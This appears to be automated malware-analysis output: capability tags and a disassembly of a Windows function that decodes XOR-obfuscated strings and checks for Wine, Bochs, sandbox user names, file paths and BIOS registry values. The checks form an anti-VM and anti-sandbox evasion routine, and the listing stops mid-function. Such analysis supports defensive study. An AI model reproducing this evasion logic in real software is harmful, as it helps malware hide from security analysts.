Function at 0x140031510
Capabilities:
Check for sandbox username or hostname
Check for time delay via gettickcount
Enumerate processes
Get disk information
Get disk size
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x3070
call fcn.1400a6fd0
sub rsp, rax
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1401137c0]
xor rax, rsp
mov qword [rbp + 0x3000], rax
xor r12d, r12d
mov r14d, r12d
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc98], xmm1
mov qword [rbp + 0xca8], r12
movabs rax, 0x4e6e33726b0faf68
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x620], rax
movabs rax, 0x82b4f9669a8b2555
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x628], rax
movabs rax, 0x8cbf0442a8b62d43
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x630], rax
movabs rdi, 0x8a1c073b6646c3a2
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x638], rax
movabs rsi, 0x4e0033006b6aaf03
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1480], rax
movabs r15, 0x8286f9559ae72530
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1488], rax
movabs r13, 0x8cd3042ea8d22d6d
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1490], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1498], rax
vmovdqu ymm0, ymmword [rbp + 0x620]
vpxor ymm1, ymm0, ymmword [rbp + 0x1480]
vmovdqu ymmword [rbp + 0x620], ymm1
lea rcx, [rbp + 0x620]
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x140031758
movabs rax, 0x3a65545f0e04c674
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x640], rcx
movabs rax, 0xebe0a62df389506f
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x648], rcx
movabs rax, 0x8cb6694fc68d4801
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x650], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x658], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1540], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1548], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1550], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1558], rax
vmovdqu ymm0, ymmword [rbp + 0x640]
vpxor ymm1, ymm0, ymmword [rbp + 0x1540]
vmovdqa ymmword [rbp + 0x640], ymm1
lea rdx, [rbp + 0x640]
mov rcx, rbx
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140031758
lea rdx, str.Wine_unix_file_name
lea rcx, [rbp + 0xbc0]
call fcn.140012260
nop
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xbc0]
call fcn.140008650
lea r14d, [r12 + 1]
movabs rax, 0x4e5433466b25af50
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x500], rax
movabs rax, 0x82c3f9079aa62567
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x508], rax
movabs rax, 0x8cbd0447a8852d31
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x510], rax
movabs rax, 0x8a1c073b6646c3c7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x518], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x15e0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x15e8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x15f0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x15f8], rax
vmovdqu ymm0, ymmword [rbp + 0x500]
vpxor ymm1, ymm0, ymmword [rbp + 0x15e0]
vmovdqu ymmword [rbp + 0x500], ymm1
vzeroupper
call fcn.14003cde0
xor r8d, r8d
lea rdx, [rbp + 0x500]
mov rcx, 0xffffffff80000001
test eax, eax
lea rax, [rbp + 0xc58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x140031845
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140031893
mov rcx, qword [rbp + 0xc58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Wine_reg_key
lea rcx, [rbp + 0xba0]
call fcn.140012260
nop
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xba0]
call fcn.140008650
inc r14d
lea rdx, str.bochs_cpu_amd1
lea rcx, [rbp + 0xb80]
call fcn.140012260
nop
lea rdx, [rbp + 0xb80]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xb80]
call fcn.140008650
movabs rax, 0xca297a48d2cc235f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2e0], rax
movabs rax, 0xae46c2dafd873e73
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2e8], rax
movabs r15, 0xba4a253bbaaf4c3d
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfc0], rax
movabs r15, 0xae46f0be90e66106
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfc8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0xfc0]
movdqa xmmword [rbp + 0x2e0], xmm0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0xb60]
call fcn.140012260
nop
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xb60]
call fcn.140008650
add r14d, 2
movups xmm0, xmmword [str.HARDWAREDescriptionSystem]
movups xmmword [rbp + 0x16a8], xmm0
movups xmm1, xmmword [0x140101628]
movups xmmword [rbp + 0x16b8], xmm1
movups xmm0, xmmword [0x140101638]
movups xmmword [rbp + 0x16c8], xmm0
movsd xmm0, qword [0x140101648]
movsd qword [rbp + 0x16d8], xmm0
movups xmm1, xmmword [str.SystemBiosVersion]
movups xmmword [rbp + 0x1680], xmm1
movups xmm0, xmmword [0x140101660]
movups xmmword [rbp + 0x1690], xmm0
mov eax, dword [0x140101670]
mov dword [rbp + 0x16a0], eax
mov eax, dword [str.BOCHS]
mov dword [rbp + 0x1650], eax
movzx eax, word [0x140101678]
mov word [rbp + 0x1654], ax
lea rax, [rbp + 0x1650]
mov r13, 0xffffffffffffffff
mov rdi, r13
inc rdi
cmp byte [rax + rdi], 0
jne 0x140031a07
mov rcx, rdi
add rcx, 1
cmovb rcx, r13
call fcn.1400ba69c
mov rsi, rax
lea rdx, [rdi + 1]
mov r9, r13
lea r8, [rbp + 0x1650]
mov rcx, rax
call fcn.1400ba1e8
mov dword [rbp + 0xcbc], 0x400
call fcn.14003cde0
xor r8d, r8d
lea rdx, [rbp + 0x16a8]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x140031a75
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140031c05
lea rax, [rbp + 0xcbc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1c00]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1680]
mov rcx, qword [rbp + 0xc48]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0xc48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140031c05
mov rbx, r12
lea rcx, [rbp + 0x1c00]
mov rax, r13
nop dword [rax]
inc rax
cmp byte [rcx + rax], bl
jne 0x140031ae0
test rax, rax
je 0x140031b1f
nop dword [rax]
movsx ecx, byte [rbp + rbx + 0x1c00]
call fcn.1400ba1bc
mov byte [rbp + rbx + 0x1c00], al
inc rbx
lea rcx, [rbp + 0x1c00]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x140031b11
cmp rbx, rax
jb 0x140031af0
test rdi, rdi
je 0x140031b3b
mov rbx, rsi
movsx ecx, byte [rbx]
call fcn.1400ba1bc
mov byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140031b27
mov rdx, rsi
lea rcx, [rbp + 0x1c00]
call fcn.1400a8994
test rax, rax
je 0x140031c05
mov rcx, rsi
call fcn.1400b838c
movabs rax, 0xdf387a48d2cc235f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2f0], rax
movabs rax, 0xae46f0c7f58d3e61
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2f8], rax
movabs rsi, 0xba4a253bbaaf4c3d
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfd0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfd8], rax
movdqa xmm0, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [rbp + 0xfd0]
movdqa xmmword [rbp + 0x2f0], xmm0
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xb40]
call fcn.140012260
nop
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xb40]
call fcn.140008650
inc r14d
jmp 0x140031c17
mov rcx, rsi
call fcn.1400b838c
movabs rsi, 0xba4a253bbaaf4c3d
xor eax, eax
xor ecx, ecx
cpuid
mov dword [rbp + 0x10], eax
mov dword [rbp + 0x14], ebx
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], edx
cmp ecx, 0x444d4163
jne 0x140031d95
mov eax, 0x8fffffff
xor ecx, ecx
cpuid
mov dword [rbp + 0x10], eax
mov dword [rbp + 0x14], ebx
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], edx
test ebx, ebx
movabs rbx, 0xca297a48d2cc235f
jne 0x140031d9f
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x230], rax
movabs rax, 0xae46c2dafd873e73
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x238], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfe0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfe8], rax
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0xfe0]
movdqa xmmword [rbp + 0x230], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea rax, [rbp + 0x230]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140031cd2
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x20]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140031d35
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x20]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x30]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x30], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x38], rdx
mov byte [rbp + 0x20], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140031d49
lea r8, [rbp + 0x20]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140031d80
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031d7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
inc r14d
jmp 0x140031d9f
movabs rbx, 0xca297a48d2cc235f
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x9f2a95cafe8f3e73
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4e8], rax
movabs rcx, 0x65783f99f821666f
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4f0], rax
movabs rdi, 0x914116c474b5c6f0
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4f8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x14a0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x14a8], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x14b0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x14b8], rax
vmovdqu ymm0, ymmword [rbp + 0x14a0]
vpxor ymm0, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x4e0], ymm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
lea rax, [rbp + 0x4e0]
mov r8, r13
vzeroupper
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140031e70
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x60]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140031ed3
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x70]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x70], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x78], rdx
mov byte [rbp + 0x60], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140031ee7
lea r8, [rbp + 0x60]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140031f1e
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031f19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
inc r14d
mov dword [rbp + 8], r14d
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x140032129
lea eax, [rcx + 0x34]
lea ebx, [rax + 0x100]
mov edx, dword [rcx + 8]
cmp edx, eax
jb 0x140032125
cmp edx, ebx
ja 0x140032125
movabs rax, 0xd9154a54d1cc395e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4c0], rax
movabs rax, 0xdd2a84e1fb85046e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4c8], rax
movabs rcx, 0x65783f99f821666f
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4d8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1440], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1448], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1450], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1458], rax
vmovdqu ymm0, ymmword [rbp + 0x1440]
vpxor ymm0, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x4c0], ymm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], r12
lea rax, [rbp + 0x4c0]
mov r8, r13
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140032040
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x180]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x1400320b5
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x190]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x190], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x198], rdx
mov byte [rbp + 0x180], 0
add qword [rbp + 0xca0], 0x20
jmp 0x1400320cf
lea r8, [rbp + 0x180]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140032109
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032104
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x180], 0
inc r14d
mov dword [rbp + 8], r14d
mov dword [rbp + 0xcc0], 0xc8
lea rdx, [rbp + 0xcc0]
lea rcx, [rbp + 0x1710]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rbx, r12
lea rcx, [rbp + 0x1710]
mov rax, r13
inc rax
cmp byte [rcx + rax], bl
jne 0x140032154
test rax, rax
je 0x140032190
movsx ecx, byte [rbp + rbx + 0x1710]
call fcn.1400ba1bc
mov byte [rbp + rbx + 0x1710], al
inc rbx
lea rcx, [rbp + 0x1710]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x140032182
cmp rbx, rax
jb 0x140032161
movabs rdi, 0x745ae22b1ed876ae
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rcx, 0x5c847eec8dc23bb6
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xff0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xff8], rax
movdqa xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [rbp + 0xff0]
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x1710]
call fcn.1400a8994
movabs rbx, 0xd82e4b5ac9c1295a
test rax, rax
jne 0x140032341
movabs rax, 0x7402ad3a0fc47eab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rcx, 0x5c847eec8dc23bb6
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1000], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1008], rax
movdqa xmm0, xmmword [rbp + 0x310]
xorps xmm0, xmmword [rbp + 0x1000]
movdqa xmmword [rbp + 0x310], xmm0
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x1710]
call fcn.1400a8994
test rax, rax
jne 0x140032341
movabs rax, 0x7447ff280dda76b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rcx, 0x5c847eec8dc23bb6
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1010], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1018], rax
movdqa xmm0, xmmword [rbp + 0x320]
xorps xmm0, xmmword [rbp + 0x1010]
movdqa xmmword [rbp + 0x320], xmm0
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x1710]
call fcn.1400a8994
test rax, rax
je 0x140032509
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs rax, 0xc03495cde5b91969
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
movabs rax, 0x65783f99f8440b0e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
movabs rcx, 0x914116c474b5c6f0
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1420], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1428], rax
movabs rax, 0x65783f99f821666f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1430], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1438], rax
vmovdqu ymm0, ymmword [rbp + 0x4a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1420]
vmovdqa ymmword [rbp + 0x4a0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
lea rax, [rbp + 0x4a0]
mov r8, r13
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140032420
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0xe0]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140032495
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0xe0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0xf0], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xf8], rdx
mov byte [rbp + 0xe0], 0
add qword [rbp + 0xca0], 0x20
jmp 0x1400324af
lea r8, [rbp + 0xe0]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x1400324e9
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400324e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0xf0], r12
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rbp + 0xe0], 0
inc r14d
mov dword [rbp + 8], r14d
mov r8d, 0x1f4
lea rdx, [rbp + 0x18f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rbx, r12
lea rcx, [rbp + 0x18f0]
mov rax, r13
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], bl
jne 0x140032530
test rax, rax
je 0x14003256f
nop dword [rax]
movsx ecx, byte [rbp + rbx + 0x18f0]
call fcn.1400ba1bc
mov byte [rbp + rbx + 0x18f0], al
inc rbx
lea rcx, [rbp + 0x18f0]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x140032561
cmp rbx, rax
jb 0x140032540
movabs rax, 0x7447e13917d764a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rbx, 0x5c847eec8dc23bb6
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1020], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1028], rax
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x1020]
movdqa xmmword [rbp + 0x330], xmm0
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x18f0]
call fcn.1400a8994
test rax, rax
jne 0x1400326f6
movabs rax, 0x7402fe3c08df61a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1030], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1038], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x1030]
movdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x18f0]
call fcn.1400a8994
test rax, rax
jne 0x1400326f6
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rdi, 0x7402ad695a9637fd
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1040], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1048], rax
movdqa xmm0, xmmword [rbp + 0x350]
xorps xmm0, xmmword [rbp + 0x1040]
movdqa xmmword [rbp + 0x350], xmm0
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x18f0]
call fcn.1400a8994
test rax, rax
je 0x140032879
jmp 0x140032700
movabs rdi, 0x7402ad695a9637fd
movabs rax, 0xd82e4b5ac9c1295a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0xae2e84dfe0b91969
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1050], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1058], rax
movdqa xmm0, xmmword [rbp + 0x240]
xorps xmm0, xmmword [rbp + 0x1050]
movdqa xmmword [rbp + 0x240], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
lea rax, [rbp + 0x240]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140032790
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0xa0]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140032805
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0xa0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xb0]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0xb0], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xb8], rdx
mov byte [rbp + 0xa0], 0
add qword [rbp + 0xca0], 0x20
jmp 0x14003281f
lea r8, [rbp + 0xa0]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140032859
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032854
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa0], 0
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0x745ead475aca37a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
movabs rax, 0x5cf77e958daa3be6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
movabs rax, 0xb2b97ef689ae93ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x830], rax
